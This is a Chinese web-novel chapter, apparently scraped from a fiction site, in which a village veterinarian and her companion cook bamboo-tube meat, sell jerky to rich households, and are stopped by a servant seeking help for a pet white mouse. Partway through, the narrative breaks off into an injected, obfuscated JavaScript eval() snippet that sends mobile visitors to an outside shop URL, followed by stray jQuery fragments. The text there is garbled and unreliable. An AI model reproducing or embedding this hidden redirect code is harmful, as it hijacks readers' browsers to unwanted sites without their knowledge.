“不用,你去歇着吧。”冰冷的声音打断她。
宁馨收回手,转身走了,出了门还把门摔上。这人怎么这样,总是一副距她于千里之外的模样。
坐在院里看着晾好的衣服,想着他做饭又切肉的,还给自己做竹筒肉。宁馨拍了拍手,罢了,看在这些份儿上,她大人有大量不同他计较。
梁二刚把竹筒夹出来,宁馨闻着味儿就来了。
看着急切地宁馨,他连忙提醒,“要晾一会儿。”那抹红色突然蹿进脑海,梁二转过头脸红起来。
宁馨死死盯着香味的来源,吞了吞口水。
他余光瞥见这一幕,“你要是饿了先喝点粥吧,已经晾在灶上了。”
“不要,我要留着肚子吃肉!”她目不转睛盯着竹筒,看都不看粥一眼。
梁二转身将包好点肉干塞进灶肚里,埋上灰,“你要做的肉干,是这样的吗?”
宁馨转头看了一眼,又盯着那竹筒肉,“是的,要搁半个时辰翻一次面,差不多四次就成,注意火候,不要烤焦了!”
梁二又浇了些灰盖上,起身他走到竹筒面前,拿刀背轻轻一敲,竹筒裂开,泛着油亮的肉露出,飘出浓烈的肉香,“可以了。”
他取了筷子递给宁馨,“小心烫。”
宁馨接过筷子,挑起一小块,放在嘴边吹了吹,然后放进嘴里嚼起来,肉香四溢,肥而不腻,汁水充足,宁馨满足地闭上了眼,舌尖细细品尝着。
“味道合适吗?就着饭吃吧。”梁二将事先晾好的菜粥递给她。
宁馨睁大双眼点头,接过碗,“太好吃了!”说着又夹了一口塞进嘴里。
“有这么好吃吗?”梁二拿筷子戳了一块盖在饭上,混着粥喝下去,竟也睁大了眼。
两人将锅底都刨了个干净,这才想起还有富贵呢。
“嗝~”宁馨打了个嗝儿,笑道,“没事,让富贵吃肉干吧,它最近养腿,就当给它加餐了。”
傍晚,宁馨喂了富贵,又将腿查验了一番,瞥见梁二在灶房里装着肉干。
弄好富贵后,宁馨起身进了灶房,“有热水吗?”今儿出了一身汗,黏腻腻的。
梁二指着旁边盖着盖子的桶,“那里。”
宁馨走上前去打开盖子一瞧,转头问他,“要再烧一锅吗,你也洗洗?”
梁二将最后一罐系好,“不用,天太热了,我不习惯热水。”
宁馨不解,但还是提着水桶拿了木盆进了屋,她关上门,找起物件来。
木瓢、帕子、擦头发的、皂角、梳子……
宁馨一通找寻,好不容易将东西备齐了,许是木门没扣紧,被风吹开了一道。
她走上前去打算将门合上,竟看到梁二在院中。
他背对着他,只退了上衣,露出的肌肤比头和脖子白上几度,忽然起风了,外面晾的衣服一瓢刚好挡住了。
宁馨手扣住插销,眨眨眼,使劲儿往门缝凑。
梁二冷不丁回头,吓得宁馨脑袋往门后一藏,屏住呼吸,做贼似的躲起来。
她深吸几口气,拍了拍脸,往后退,他应当是没有发现吧,再说了她也不是故意的,不小心看到了而已,最重要的是,她可什么都没看到啊。
宁馨收回思绪,解了发带,开始搓洗头发。
等宁馨洗完,梁二已将换下来的衣物洗净晾好了。
*
翌日天蒙蒙亮,宁馨同梁二坐牛车赶往镇上,先是到周家门口,拿出一桶肉干递给管家。
刚要走,就被管家拦住了,“宁兽医,你这肉干怎么做的,我们尝试了好几次都失败了。”
宁馨压低声音道,“实不相瞒,这是我家祖传的秘方。”
管家表示理解,“成吧,那您怎么卖的,多少钱一罐?”昨儿个周夫人交代了要配方,要是买不到就按罐买,只要价格不是太夸张。
宁馨早就料到了,比了个八,“八十文一罐,您别看这一罐才四两,但是三斤鲜肉才能做一斤肉干。”
说着放下手,靠近管家,“我跟夫人投缘,要是以后也要,我给算六十文,每日直接把新鲜的送到府上?您看怎么样?”
管家思索着团团的零嘴开销在二两左右,一个月怎么也吃不了二两,于是应下来,“成,那就先拿五罐吧。”
宁馨摆摆手,“这可使不得,忘记说了,一罐最好在半个月内吃完,才新鲜。还是先拿两罐吧,我逢双数就来镇上,到时候给你送新鲜的。”
管家笑道,“还是宁兽医想的周到,就先两罐吧。”
梁二将两罐递上,宁馨则开开心心数着钱。
待走远些,梁二压低声音道,“六十文是不是太多了,肉干的成本不过三十文。”
宁馨将钱放进袋里,“不多,还有盐啊,你削的竹筒,麻线,还是制作时间和工序,人工不算钱啊?”
梁二牵着牛,“人工还要算钱?”
宁馨整理好衣服,“当然要算,况且有钱人家又不缺这点的。”
说完抬着步子向前,“快走吧,再去给王夫人家送点。”
敲了门,刚好碰到王夫人打算出门,宁馨行了礼后站在那里不知如何是好,倒是王夫人开口了,“宁兽医,有何事?”
宁馨赶紧从车上取出两罐递到李管家手上,笑眯眯地朝王夫人,“这是自家做的零嘴肉干,给胖橘的。”
李管家拆开查验一番,向王夫人点头。
王夫人笑了,“行吧,我收下了,若是胖橘喜欢下次再找你。”说完就上了轿撵。
轿撵走远后,宁馨起身,伸了懒腰,“走吧,去给你瞧衣服。”然后跳上牛车。
梁二架着牛车走的很慢,生怕不小心冲撞了路边的哪位贵人。
宁馨躺在甘草上面,双手抱着头发呆。
“你有没有发现,有人跟着我们?”
闻言宁馨蹭的一下坐起来,往后一瞧,确有一个鬼鬼祟祟的男子在后面跟着。
宁馨抓紧板车,“梁二,你走快些。”
梁二拉了拉绳子示意牛,牛走的快些了。
那男子竟疯跑起来冲向他们,一把抓住板车,接着牛发出“哞——”的一声,车停了下来。
梁二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760872|208930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
放开绳子跳下来,将板车上的人护在身后,“你想做什么?”
宁馨心快跳到嗓子眼了,那人却一言不发,手抓住板车,大口大口喘着气。
梁二一把抓住他放在板车上的手,反锁回去,“说,你要做什么?”
“哎哟~痛痛痛!”那人疼得呲牙咧嘴,扭着手臂为了让自己舒服点,忙慌慌开口,“我只是想请宁兽医去看看,不是坏人,您先放开我行不行?痛……”
梁二握紧手臂,“你鬼鬼祟祟的我如何信你?
那人指着最后面那户房子,“我就是那家的,我家公子想请宁兽医帮忙看看,但是怕您不同意……”
宁馨早已从车上下来,站在梁二身后,“不可能,你又不说话,就一直跟着我们,肯定不是你说的那样。”
那人吃痛地扭着身子,“我说的是真的,不信你问问附近,刚刚你是从王家出来的吧,他们可以为我作证。这位兄台,您行行好,先放开我行不行。”
梁二松了力气,却没有放开他。
那人抬手揉着吃痛的手臂,“我说的是真的,只是我家公子的养的爱宠特殊,无人愿接……”
梁二握着他的手臂紧了些,“所以,你想逼我们过去?”
那人疼得直剁脚,“哎哟,不是这样的,我是不知道怎么开口,想找个没人的时机,奈何这路上一直有人,你们又走快了,我一时着急,这才拉了板车,吓到宁兽医了,我给她道歉,对不起啊……”
梁二松开手,盯着他,“别耍什么花招。”
那人举起手不痛的那只手疯狂摆动,头也狂甩着,“不敢不敢。”说完看向宁馨,神色诚恳,“宁兽医,可否跟我走一趟。”
宁馨打量着他的衣着,摇头,“不行,你不说清楚是什么,我是不会跟你走的。”
那人面露难色,低着头揉着吃痛的手臂支支吾吾地,“是一只小白鼠。”
他的声音很小,但足够听清了。
宁馨站在他面前,“带路吧。”
那人抬头,又惊又喜,“真的?你们不介意?”
宁馨点着头,“不介意,做这个的,赚的就是这份钱。”
那人将宁馨和梁二引到宅院,一路上都在诉说别的兽医怎么甩脸色给他,还不忘夸宁馨。
这么大个院子,院内杂草丛生,一路走来也没见别的下人。
那人拍着脑袋,“噢,对了,你们叫我青松就行,松柏那个青松。”
被梁二掐过的手还有些抖,他颤颤巍巍推开主屋房门,“我家公子姓张,身子不好,常年卧病在床,不便待客,还望二位见谅。”
“吱呀”一声门被推开,光照进去,空气中满是浮尘。
目光所及,房间窗户都封死了,木制家具带着陈旧的湿湿的木头味儿,宁馨皱了皱鼻子,这里真的是人住的吗?
青松把宁馨引进屋,梁二跟在身后巡视着。
隔着屏风,青松道,“这是我家公子,公子,宁兽医来了。”
宁馨对着屏风行了礼,有气无力地声音传来,“免礼吧,宁兽医赶快帮忙看看吧。”